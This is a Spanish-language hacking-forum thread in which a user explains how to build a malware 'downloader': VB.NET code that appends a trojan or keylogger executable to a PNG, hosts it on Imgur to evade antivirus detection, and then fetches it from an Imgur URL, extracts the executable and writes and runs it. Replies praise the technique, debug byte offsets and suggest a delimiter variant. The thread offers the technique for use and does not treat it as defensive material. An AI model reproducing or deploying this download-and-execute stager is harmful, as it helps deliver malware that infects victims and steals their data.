Downloader, ¿Qué es?, ¿Cómo Crearlo? by fudmario

  • 13 Respuestas
  • 11536 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado fudmario

  • *
  • Underc0der
  • Mensajes: 199
  • Actividad:
    0%
  • Reputación 13
    • Ver Perfil
    • fudmario - GitHub
Casi siempre me pregunta por SKYPE, si conozco algun hosting de descarga directa que no detecte los antivirus, para subir malware, por lo general siempre respondo: "NO, no conozco ninguno, pero puedes usar cualquier Hosting xD", asi que hoy les voy a mostrar como usar cualquier hosting para subir malware.

Hoy hablaremos sobre un tipo de malware llamado: Downloader.

¿Qué es un Downloader?

Citar
Este tipo de malware lo que hace es descarga en secreto archivos maliciosos desde un servidor remoto, para posteriormente ejecutarlo,instalar software malicioso en el Sistema.
Citar
Basicamente lo que hace es descargar malware(troyanos,keyloggers,...,etc.) subido en algun hosting, generalmente se usan hosting de descarga directa(ej: You are not allowed to view links. Register or Login) o en algunos casos suben a servidores tipo Pastebin, paste.ee o similares previamente codificado (El problema principal de estos hosting de descarga directa es que son detectados por los AntiVirus.).

 
Ya sabiendo que es y como funciona, voy a explicar como crear uno (No es muy complicado en realidad es muy sencillo):
Para este proposito usaremos un hosting que permite subir Imagenes llamado "Imgur", si, si Imgur...xD un servidor web que nos permite el almacenamiento de Imagenes.

Subir directamente cambiando de extension a un ejecutable(por un .jpg o .png) no funcionará debido a sus medidas de proteccion que usa para subir imagenes en IMGUR.



Lo que haremos será unir: "imagen + ejecutable",sencillo no?, con eso ya tendriamos solucionado el tema de subir sin problemas el malware, 

El lenguaje de programacion que elijan  para crearlo es indistinto, yo lo haré en VB.NET.

Para unir : "Imagen + Server", lo haremos de la siguiente forma:
 

Código: (vbnet) You are not allowed to view links. Register or Login
Dim imgbytes As Byte() = IO.File.ReadAllBytes("D:\img.png") ' Leemos el contenido de la Imagen
        Dim serverbytes As Byte() = IO.File.ReadAllBytes("D:\Anotador.exe") ' Leemos el Contenido del Malware(troyanos, keylogger,....etc)
        Using fs As New IO.FileStream("tmp.png", IO.FileMode.Create) ' Comenzaremos a escribir nuestra nueva imagen con la Imagen Inicial + Server.
            fs.Write(imgbytes, 0, imgbytes.Length)
            fs.Write(serverbytes, 0, serverbytes.Length)
        End Using
        MessageBox.Show("Done!!!")

Subimos la Imagen al Imgur:


Para Descargar el Server, lo haremos de la siguiente manera:

Código: (vbnet) You are not allowed to view links. Register or Login
Dim imgbytes As Byte() ' Variable para almacenar la imagen
Const imgSize As Integer = 17083   ' Tamaño de la Imagen Inicial
Using wc As New Net.WebClient()
    imgbytes = wc.DownloadData("http://i.imgur.com/6TZKG9q.png")
    Using ms As New IO.MemoryStream(imgbytes, imgSize, imgbytes.Length - imgSize) 'Aqui obtenemos el tamaño del malware, separando de la imagen Inicial.
        ' Aqui se puede hacer cualquier cosa, droppear el archivo en Disco/
        ' IO.File.WriteAllBytes("D:\Test1.exe", ms.ToArray)
        ' Process.Start("D:\Test1.exe")
    End Using
End Using

Algunas cosas que debes considerar:

Si vemos con algun editor Hexadecimal, veremos que se puede ver el ejecutable, una opcion es cifrar el archivo.



Pues nada cualquier duda comentar en el hilo, Mensaje Privado o  por Skype.


 
« Última modificación: Enero 03, 2016, 02:15:28 pm por Expermicid »


Desconectado blackdrake

  • *
  • Moderator
  • Mensajes: 2002
  • Actividad:
    40%
  • Country: es
  • Reputación 22
    • Ver Perfil
Como siempre, un grandísimo aporte @You are not allowed to view links. Register or Login, estoy seguro de que muchos usuarios seguirán tu "consejo" de utilizar un downloader.

Saludos.
« Última modificación: Enero 03, 2016, 02:15:38 pm por Expermicid »


Desconectado Juan

  • *
  • Underc0der
  • Mensajes: 158
  • Actividad:
    0%
  • Reputación 0
  • Ex-Drinky
    • Ver Perfil
Es interesante Mario. Enhorabuena ;)
« Última modificación: Enero 03, 2016, 02:15:56 pm por Expermicid »

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5778
  • Actividad:
    100%
  • Country: ar
  • Reputación 42
  • ANTRAX
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email
Muy muy bueno bro! Felicitaciones por el aporte @You are not allowed to view links. Register or Login !

Saludos!
ANTRAX
« Última modificación: Enero 03, 2016, 02:15:46 pm por Expermicid »


Desconectado Stiuvert

  • *
  • Ex-Staff
  • *****
  • Mensajes: 2661
  • Actividad:
    0%
  • Reputación 15
  • Twitter: @Stiuvert
    • Ver Perfil
¡Excelente aporte! No sabía esa forma de adjuntar una imagen al ejecutable... +c0in

Saludos
« Última modificación: Enero 03, 2016, 02:16:04 pm por Expermicid »

Conectado Gabriela

  • *
  • Co Admin
  • Mensajes: 1010
  • Actividad:
    3.33%
  • Country: 00
  • Reputación 22
  • A las personas se las conoce por sus heridas...
    • Ver Perfil
    • Hirana: red de IRC
    • Email
 
@You are not allowed to view links. Register or Login

Hay gente que tiene arte para explicar. Este post tuyo es prueba de ello.
Gracias por el estupendo aporte!!

Gabi

« Última modificación: Enero 03, 2016, 02:16:12 pm por Expermicid »

Tú te enamoraste de mi valentía, yo me enamoré de tu oscuridad; tú aprendiste a vencer tus miedos, yo aprendí a no perderme en tu abismo.

Desconectado ignacio8888

  • *
  • Underc0der
  • Mensajes: 6
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
Tengo una duda, mas que duda es una pregunta: cuál sería el equivalente Net.Webclient en php? o sería igual a lo siguiente:
header ("Content-Disposition: attachment; filename=$enlace ");
header ("Content-Type: application/force-download");
header ("Content-Length: ".filesize($enlace));
readfile($enlace);
porque no conozco mucho de visual net.
Desde ya, muchas gracias.
« Última modificación: Enero 03, 2016, 02:16:21 pm por Expermicid »

Desconectado fudmario

  • *
  • Underc0der
  • Mensajes: 199
  • Actividad:
    0%
  • Reputación 13
    • Ver Perfil
    • fudmario - GitHub
Gracias a todos por Comentar...xD

You are not allowed to view links. Register or Login
Es interesante Mario. Enhorabuena ;)

No soy mario, es mejor fudmario....xD


You are not allowed to view links. Register or Login
Tengo una duda, mas que duda es una pregunta: cuál sería el equivalente Net.Webclient en php? o sería igual a lo siguiente:
header ("Content-Disposition: attachment; filename=$enlace ");
header ("Content-Type: application/force-download");
header ("Content-Length: ".filesize($enlace));
readfile($enlace);
porque no conozco mucho de visual net.
Desde ya, muchas gracias.
Yo tampoco conozco mucho de PHP, pero el metodo DownloadData de la Clase System.Net.WebClient lo que hace es descargar el contenido de la imagen en una matriz de bytes, no sabria decirte cual es la mejor forma de hacerlo en PHP, talvez podrias hacerlo con: "file_get_contents"


Saludos,.
« Última modificación: Enero 03, 2016, 02:16:28 pm por Expermicid »


Desconectado MagoAstral

  • *
  • Underc0der
  • Mensajes: 115
  • Actividad:
    0%
  • Reputación 0
  • Nada resulta más engañoso que un hecho evidente.
    • Ver Perfil
Siempre me gustó tu ingenio fudmario, te felicito por el aporte me parece una técnica muy interesante la cual podríamos extrapolar a otro tipo de ficheros.
Un saludo
« Última modificación: Enero 03, 2016, 02:16:37 pm por Expermicid »
Lo que sabemos es una gota de agua; lo que ignoramos es el océano.

Desconectado kastrohack

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
hola
lo primeo gracias por el tuto
he seguido los pasos pero me da un error


Creo tener mas o menos localizado donde esta el fallo, ya que el binario que use, en este caso un anotador no pesa lo mismo al principio y al final


en el code, el peso de la imagen que he usado es este 4825


yo creo que el fallo tiene que estar ahi, ya que al separarlo es como si la imagen hubiese comido bytes al binario ya que ni siquiera empieza por MZ (viendo en hex)

---------------------------------------------EDIT----------------------------------------------
He probado otra imagen y ya funciona.
saludos
« Última modificación: Enero 09, 2016, 09:45:12 pm por kastrohack »

Desconectado Hu3c0

  • *
  • Underc0der
  • Mensajes: 429
  • Actividad:
    0%
  • Reputación 0
  • In the middle Netbeans
    • Ver Perfil
Te voy a dar mi opinión creo que el problema lo tienes con el pointer, me explico si te fijas en el código que fudmario a compartido le dice los bytes de la imagen original Const imgSize As Integer = 17083 , comprueba antes de hacer el join los bytes de la imagen, después introducelos en el código y compilas.

Para que lo comprendas cuando se ejecuta el downloader lo que hace es colocar el pointer  a partir de esos bytes para leer el binario es evidente que si tu imagen pesa 15000+1500 del ejecutable el programa te va a dar error porque el pointer busca a partir de una posición que no existe.

Cuando cree el hermesdownloader lo que hice fue añadir un delimitador al final de la imagen ejemplo Underc0de.org entonces el downloader buscaba ese delimitador cuando lo detectaba metía en una variable el pointer desde donde empezaba a leer el binario, esto lo hacía desde Java con RandomAccesFile.

Resumiendo lo que debes decirle al programa es a partir de donde tiene que empezar a leer el binario sino transferirá bytes innecesarios o se quedará corto.

Espero te sirva
You are not allowed to view links. Register or Login

Desconectado angrymasther

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
¡Buenas! Me surge una pregunta relacionada con el post, en caso de necesitar actualizar un malware (por poner un ejemplo de cuando usar un downloader xD) ¿No se supone que ya tienes un servidor desde el que se descargó este? Me refiero, ¿Para que subirlo a otro lugar? No sería más sencillo simplemente ponerlo en el mismo servidor e ir descargándolo directamente. A demás el ponerlo desde la imagen crea la necesidad (al menos como lo haría yo) de añadir código para ejecutar solo el código (dejando la parte original de la imagen a parte).

Corregirme si me equivoco, que lo más seguro es que si XDD.
« Última modificación: Febrero 13, 2018, 05:57:12 pm por angrymasther »

Desconectado ph03n1x

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
Al día de hoy esto no funciona, imgur me borra la parte que corresponde al binario del ejecutable.

Conectado b3l3r0f0nt3

  • *
  • Underc0der
  • Mensajes: 86
  • Actividad:
    3.33%
  • Reputación 1
    • Ver Perfil
You are not allowed to view links. Register or Login
Al día de hoy esto no funciona, imgur me borra la parte que corresponde al binario del ejecutable.

A día de hoy revives un tema de 2016. Normal que pueda haber dejado de funcionar.

Un saludo.